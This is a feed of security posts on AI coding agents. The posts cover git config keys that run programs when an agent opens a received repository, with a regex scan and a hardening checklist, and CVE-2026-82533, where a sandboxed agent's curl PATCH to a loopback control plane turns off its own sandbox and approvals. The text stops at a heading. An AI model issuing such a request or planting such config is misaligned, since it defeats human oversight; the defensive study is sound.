    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;SAFE_PREFIX&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;subcmd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;extra&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two environment-level options also held in my runs. Overriding the key through &lt;code&gt;GIT_CONFIG_COUNT&lt;/code&gt;, &lt;code&gt;GIT_CONFIG_KEY_0&lt;/code&gt; and &lt;code&gt;GIT_CONFIG_VALUE_0&lt;/code&gt; blocked the fsmonitor sink, and so did &lt;code&gt;GIT_CONFIG_PARAMETERS&lt;/code&gt;. Both take precedence over repository config. &lt;code&gt;git --no-optional-locks status&lt;/code&gt; did not help: the marker still appeared.&lt;/p&gt;

&lt;h2&gt;
  
  
  What should a preflight scan look for?
&lt;/h2&gt;

&lt;p&gt;The write-up's advice to users is to read &lt;code&gt;.git/config&lt;/code&gt; before opening a received directory with an agent and to treat any setting that names a program as executable. That is automatable. My scan was a single regular expression over &lt;code&gt;.git/config&lt;/code&gt; for keys that carry a program: &lt;code&gt;fsmonitor&lt;/code&gt;, &lt;code&gt;external&lt;/code&gt;, &lt;code&gt;textconv&lt;/code&gt;, &lt;code&gt;pager&lt;/code&gt;, &lt;code&gt;sshcommand&lt;/code&gt;, &lt;code&gt;editor&lt;/code&gt;, &lt;code&gt;askpass&lt;/code&gt;, &lt;code&gt;hookspath&lt;/code&gt; and &lt;code&gt;program&lt;/code&gt;. It flagged all four planted repositories and stayed quiet on a clean one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
&lt;span class="no"&gt;EXEC_KEYS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="s2"&gt;"^\s*(fsmonitor|external|textconv|pager|sshcommand|editor|askpass|hookspath|gpg\.program|program)\s*="&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;I&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;M&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;repo_config_runs_programs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;EXEC_KEYS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;".git"&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;"config"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Treat this as a tripwire, not a boundary. It is a denylist of key names, the same shape as the weakness above, and a handful of planted repositories proves nothing about git's full key space. Its job is to turn "a human should have looked" into a refusal at the door.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why does the approval gate not cover this?
&lt;/h2&gt;

&lt;p&gt;Because the gate sits in the wrong place for this class. An approval layer decides whether a command the model proposed may run. The GitSpawn path never goes through that layer. The agent's own startup code runs git, and in the cases above it does so before the workspace-trust prompt, before authentication, or before the first request to the model.&lt;/p&gt;

&lt;p&gt;This is the same family as bugs covered earlier in this series: the check guarded one position while the dangerous action took another. Earlier it was a path string versus the file the OS opens, and a destination versus the route. Here it is the model's command line versus the agent's own subprocesses. The common fix is also the same: put the control where every route converges.&lt;/p&gt;

&lt;p&gt;For background calls the convergence point is a single function that builds the git invocation. A review checklist that follows from that:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Inventory every place your agent shells out on its own (git, ssh, package managers, linters, language servers) before any model call.&lt;/li&gt;
&lt;li&gt;Route them through one wrapper so there is one place to harden and one place to log.&lt;/li&gt;
&lt;li&gt;Neutralize repository-controlled configuration in that wrapper, with flags where git provides them and environment overrides where it does not.&lt;/li&gt;
&lt;li&gt;Prefer running these calls inside the same confinement as model-proposed commands, so a missed key costs less.&lt;/li&gt;
&lt;li&gt;Add a trust ordering test: start the agent in a repository with a planted sink and assert the marker never appears before the trust prompt is accepted.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Item 5 is the cheapest, and it is the one that would have caught every finding in the table.&lt;/p&gt;

&lt;h2&gt;
  
  
  Does this mean agents are unsafe to use?
&lt;/h2&gt;

&lt;p&gt;No, and the narrower claim is more useful. The risk applies when you open a directory that came to you as a file, with its &lt;code&gt;.git&lt;/code&gt; folder inside, using an agent that does not sanitize its own git calls. Patch status differs per tool: the post lists Claude Code's fsmonitor path, Goose, Codex and Cursor as fixed, and Qwen Code, Grok Build, Hermes Agent and one more Claude Code path as unpatched at the time. Check the current release of whatever you run, because that table was a snapshot from September 1.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is core.fsmonitor and why can it run code?&lt;/strong&gt;&lt;br&gt;
It is a git setting that names a program for git to call when refreshing the index, as a way to speed up large repositories. Git does not distinguish a legitimate watcher from any other executable, so whoever controls the config value controls what runs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does cloning a malicious repository from a URL trigger this?&lt;/strong&gt;&lt;br&gt;
Per the research, no. A clone does not carry the attacker's &lt;code&gt;.git/config&lt;/code&gt;. The path needs the directory delivered with &lt;code&gt;.git&lt;/code&gt; intact, for example in a zip archive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is disabling one config key a sufficient fix?&lt;/strong&gt;&lt;br&gt;
In my local test it was not. On &lt;code&gt;git diff&lt;/code&gt;, denying &lt;code&gt;core.fsmonitor&lt;/code&gt; alone blocked 1 of 3 sinks. &lt;code&gt;diff.external&lt;/code&gt; and &lt;code&gt;textconv&lt;/code&gt; still ran until &lt;code&gt;--no-ext-diff&lt;/code&gt; and &lt;code&gt;--no-textconv&lt;/code&gt; were added.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where do I put the hardening?&lt;/strong&gt;&lt;br&gt;
In one wrapper through which every agent-initiated git call passes, so new commands inherit it. Add a test that plants a sink and asserts it never fires before the trust prompt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why did my sandbox not stop it?&lt;/strong&gt;&lt;br&gt;
The agent's own context-gathering subprocess is usually outside the sandbox that wraps model-proposed commands. That placement is the finding.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The Sandbox Blocked File Writes and Left a Door Open: How a Coding Agent Switched Off Its Own Approvals Over Loopback (earlier post, same series)&lt;/li&gt;
&lt;li&gt;The Allowlist Guarded the Destination, Not the Route: A Proxies Parameter Leaked Credentials From an Agent HTTP Tool (earlier post, same series)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Manifold Security, GitSpawn research post by Francisco Rosales, September 1, 2026: &lt;a href="https://www.manifold.security/blog/ai-coding-agents-git-hijack" rel="noopener noreferrer"&gt;https://www.manifold.security/blog/ai-coding-agents-git-hijack&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Adversa AI, October 2026 digest of coding agent vulnerabilities: &lt;a href="https://adversa.ai/blog/top-ai-coding-agent-security-resources-october-2026/" rel="noopener noreferrer"&gt;https://adversa.ai/blog/top-ai-coding-agent-security-resources-october-2026/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Local measurements: git 2.53.0 on Windows, real subprocesses, harmless marker script. The &lt;code&gt;core.pager&lt;/code&gt; sink is untested because the harness had no terminal.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>git</category>
      <category>llm</category>
    </item>
    <item>
      <title>The Sandbox Blocked File Writes and Left a Door Open: How a Coding Agent Switched Off Its Own Approvals Over Loopback</title>
      <dc:creator>hugginf_expert</dc:creator>
      <pubDate>Wed, 18 Nov 2026 14:23:47 +0000</pubDate>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f/the-sandbox-blocked-file-writes-and-left-a-door-open-how-a-coding-agent-switched-off-its-own-16b8</link>
      <guid>https://dev.to/ginigenai_hp_0ae441ead91f/the-sandbox-blocked-file-writes-and-left-a-door-open-how-a-coding-agent-switched-off-its-own-16b8</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;CVE-2026-82533 (CVSS 4.0 score 9.4, CWE-807, published September 8, 2026) is an authentication bypass in the local HTTP control plane of DeepSeek Harness, an open-source coding agent. Versions before 0.1.2-alpha.1 trusted a client-supplied &lt;code&gt;Host&lt;/code&gt; header instead of checking who actually opened the connection.&lt;/li&gt;
&lt;li&gt;The part that matters for agent builders: the OS sandbox restricted file writes but left networking on, so a confined agent could reach &lt;code&gt;127.0.0.1:3080&lt;/code&gt; and change its own session. According to the researcher write-up, one &lt;code&gt;curl&lt;/code&gt; PATCH set &lt;code&gt;{"approval":"never","mode":"danger-full-access"}&lt;/code&gt; and the sandbox and approval prompts were gone for later commands.&lt;/li&gt;
&lt;li&gt;I rebuilt the trust decision locally with real sockets and three designs. A Host-header check let 3 of 4 attack requests through. Adding the peer address blocked only one more. Requiring a session token that the confined process does not hold blocked all 4, while the operator's own request still worked in every design.&lt;/li&gt;
&lt;li&gt;The lesson is not "check the peer address". A confined agent on the same machine has a perfectly honest loopback peer address. The control plane needs an identity the agent cannot obtain, and every route that changes policy needs it.&lt;/li&gt;
&lt;li&gt;The fix shipped on August 27, 2026 (version 0.1.2-alpha.1), and the release notes carry a sentence worth quoting at your own team: sandboxing, approvals and permissions "do not guarantee isolation".&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What did the CVE actually let an agent do?
&lt;/h2&gt;

&lt;p&gt;Most agent sandboxes are file-system sandboxes. The agent's shell commands run under bubblewrap on Linux or Seatbelt on macOS, writes are restricted to the workspace, and a separate approval layer decides which commands run without asking. That design assumes the policy lives somewhere the agent cannot touch.&lt;/p&gt;

&lt;p&gt;DeepSeek Harness (&lt;code&gt;dsh&lt;/code&gt;) is a local-first coding agent. It runs a web interface and a control-plane HTTP API on &lt;code&gt;127.0.0.1:3080&lt;/code&gt; by default, with no authentication on that port. According to the OX Security write-up, the sandboxes restricted file writes but left networking enabled, so loopback was reachable from inside the confinement. The function that gated API access, named &lt;code&gt;isTrustedApiRequest&lt;/code&gt; in that write-up, checked whether the request's &lt;code&gt;Host&lt;/code&gt; header looked like a loopback address and never compared it with the connection's real peer address.&lt;/p&gt;

&lt;p&gt;The reported attack was a single command from inside the sandbox:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl -H &lt;span class="s2"&gt;"Host: 127.0.0.1:3080"&lt;/span&gt; http://127.0.0.1:3080/api/sessions/&lt;span class="o"&gt;{&lt;/span&gt;id&lt;span class="o"&gt;}&lt;/span&gt;/config \
     -X PATCH -d &lt;span class="s1"&gt;'{"approval":"never","mode":"danger-full-access"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After that call the session ran in &lt;code&gt;danger-full-access&lt;/code&gt;, which disabled the sandbox and stopped approval prompts for later commands. The write-up adds an attribution detail: the harness logged the policy change as &lt;code&gt;source: {kind: 'user'}&lt;/code&gt;, so the audit trail could not tell a person from the agent.&lt;/p&gt;

&lt;p&gt;There was a second scenario. If the port was reachable from outside, through a tunnel or a reverse proxy, an unauthenticated remote caller could take control of the agent and read stored conversations without an API key. The VulnCheck advisory lists the impact as local sandbox escape, privilege escalation to unconfined execution, disabled approval prompts, remote command execution when the port is externally accessible, and unauthorized transcript access.&lt;/p&gt;

&lt;p&gt;Credit for the finding goes to Nir Zadok and Moshe Siman Tov Bustan, per the advisory. The advisory lists versions below 0.1.2-alpha.1 as affected and 0.1.2-alpha.1 as fixed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why is "the sandbox escaped" the wrong summary?
&lt;/h2&gt;

&lt;p&gt;Because nothing escaped. The sandbox did what it was configured to do: it stopped file writes outside the workspace. The agent never broke that boundary. It walked to a service that lived beside the boundary and asked the service to move the boundary for it.&lt;/p&gt;

&lt;p&gt;This is a pattern, not a one-off. In my earlier posts in this series the broken check was always a path, a URL or a command string. Here the thing being guarded was a configuration plane, and the missing question was "who is allowed to change the rules?". An approval gate, a sandbox mode and an allowlist are only as strong as the weakest route that can edit them. If an edit route accepts any caller that can reach a port, the agent is one HTTP request away from owning its own policy.&lt;/p&gt;

&lt;p&gt;Two properties made it worse:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Reachability was inherited.&lt;/strong&gt; Loopback is not a trust boundary against a process that already runs on the machine. Confinement that leaves loopback open hands the agent every local service the user has running.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The log lied by default.&lt;/strong&gt; An audit entry that says &lt;code&gt;user&lt;/code&gt; for every accepted request is not an audit entry. After an incident you cannot answer "did a person turn approvals off?"&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The vendor's own wording after the fix is candid about the limits. The v0.1.2-alpha.1 release notes updated the safety notice to say the harness "has not been security-audited, and sandboxing, approvals, and permissions do not guarantee isolation." I would put that sentence in front of anyone deploying a local agent runtime, whichever runtime it is.&lt;/p&gt;

&lt;h2&gt;
  
  
  Does checking the peer address fix it?
&lt;/h2&gt;

&lt;p&gt;No, and this is the part I wanted to measure rather than assume. A natural patch for "we trusted the Host header" is "check the socket's remote address instead". That stops a remote caller who forges &lt;code&gt;Host: 127.0.0.1&lt;/code&gt;. It does nothing about a confined agent, because the agent really is connecting from 127.0.0.1.&lt;/p&gt;

&lt;p&gt;I wrote a short script with real sockets. It starts a throwaway control-plane server on an ephemeral port, binds it to all interfaces, and issues the same PATCH from five different positions. Nothing leaves the machine, and no real product is involved. Three trust checks are compared:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;loopback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rsplit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;":"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"[]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"localhost"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"::1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;trust_a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# Host header only (the bug shape)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;loopback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Host"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;trust_b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# Host header + the real peer address&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;trust_a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client_address&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"::1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;trust_c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# peer address + a credential the confined process does not hold&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;trust_b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"X-Session-Token"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="no"&gt;PROCESS_TOKEN&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The "remote" caller connects through the machine's own LAN address, so the server sees a non-loopback peer. The confined agent connects over loopback. The operator's UI connects over loopback with the token. Results from one run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;scenario                                      A     B     C
remote caller, spoofed Host                   OPEN  blk   blk
remote caller, honest Host                    blk   blk   blk
confined agent on loopback, spoofed Host      OPEN  OPEN  blk
confined agent on loopback, no token          OPEN  OPEN  blk
operator UI on loopback, with token           OPEN  OPEN  OPEN
attack requests blocked of 4: {'A': 1, 'B': 2, 'C': 4}
operator UI allowed: {'A': True, 'B': True, 'C': True}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I also checked the state change itself, not just the status code: under design A the session mode flipped to &lt;code&gt;danger-full-access&lt;/code&gt; for three of the four attack requests, under B for two, and under C for none. The audit field recorded &lt;code&gt;user&lt;/code&gt; for the accepted agent call under design A.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Host%2520header%2520only%2522%252C%2522Host%2520%252B%2520peer%2520address%2522%252C%2522Peer%2520%252B%2520session%2520token%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Attack%2520requests%2520blocked%2520%2528of%25204%2529%2522%252C%2522data%2522%253A%255B1%252C2%252C4%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523d9534f%2522%252C%2522%2523f0ad4e%2522%252C%2522%25232e7d32%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Control-plane%2520attack%2520requests%2520blocked%252C%2520out%2520of%25204%2522%252C%2522fontSize%2522%253A26%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A4%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Host%2520header%2520only%2522%252C%2522Host%2520%252B%2520peer%2520address%2522%252C%2522Peer%2520%252B%2520session%2520token%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Attack%2520requests%2520blocked%2520%2528of%25204%2529%2522%252C%2522data%2522%253A%255B1%252C2%252C4%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523d9534f%2522%252C%2522%2523f0ad4e%2522%252C%2522%25232e7d32%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Control-plane%2520attack%2520requests%2520blocked%252C%2520out%2520of%25204%2522%252C%2522fontSize%2522%253A26%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A4%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" alt="Control-plane attack requests blocked, out of 4" width="2000" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Host%2520header%2520only%2522%252C%2522Host%2520%252B%2520peer%2520address%2522%252C%2522Peer%2520%252B%2520session%2520token%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Attack%2520requests%2520accepted%2522%252C%2522data%2522%253A%255B3%252C2%252C0%255D%252C%2522backgroundColor%2522%253A%2522%2523d9534f%2522%257D%252C%257B%2522label%2522%253A%2522Operator%2520request%2520accepted%2522%252C%2522data%2522%253A%255B1%252C1%252C1%255D%252C%2522backgroundColor%2522%253A%2522%25232e7d32%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Measured%2520locally%253A%2520who%2520gets%2520through%2520each%2520trust%2520check%2522%252C%2522fontSize%2522%253A20%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A4%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Host%2520header%2520only%2522%252C%2522Host%2520%252B%2520peer%2520address%2522%252C%2522Peer%2520%252B%2520session%2520token%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Attack%2520requests%2520accepted%2522%252C%2522data%2522%253A%255B3%252C2%252C0%255D%252C%2522backgroundColor%2522%253A%2522%2523d9534f%2522%257D%252C%257B%2522label%2522%253A%2522Operator%2520request%2520accepted%2522%252C%2522data%2522%253A%255B1%252C1%252C1%255D%252C%2522backgroundColor%2522%253A%2522%25232e7d32%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Measured%2520locally%253A%2520who%2520gets%2520through%2520each%2520trust%2520check%2522%252C%2522fontSize%2522%253A20%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A4%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" alt="Measured locally: who gets through each trust check" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Three readings of this table, with the caveat that it models the trust decision and is not a test of the real product:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Design A fails in both directions. It admits the remote forger and the local agent.&lt;/li&gt;
&lt;li&gt;Design B fixes the remote case only. The two requests from the confined agent still pass, because they come from the one address B is willing to trust.&lt;/li&gt;
&lt;li&gt;Design C works because the deciding input changed from "where did this come from" to "what does this caller hold". The confined process was never given the token.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What did the vendor change in the fix?
&lt;/h2&gt;

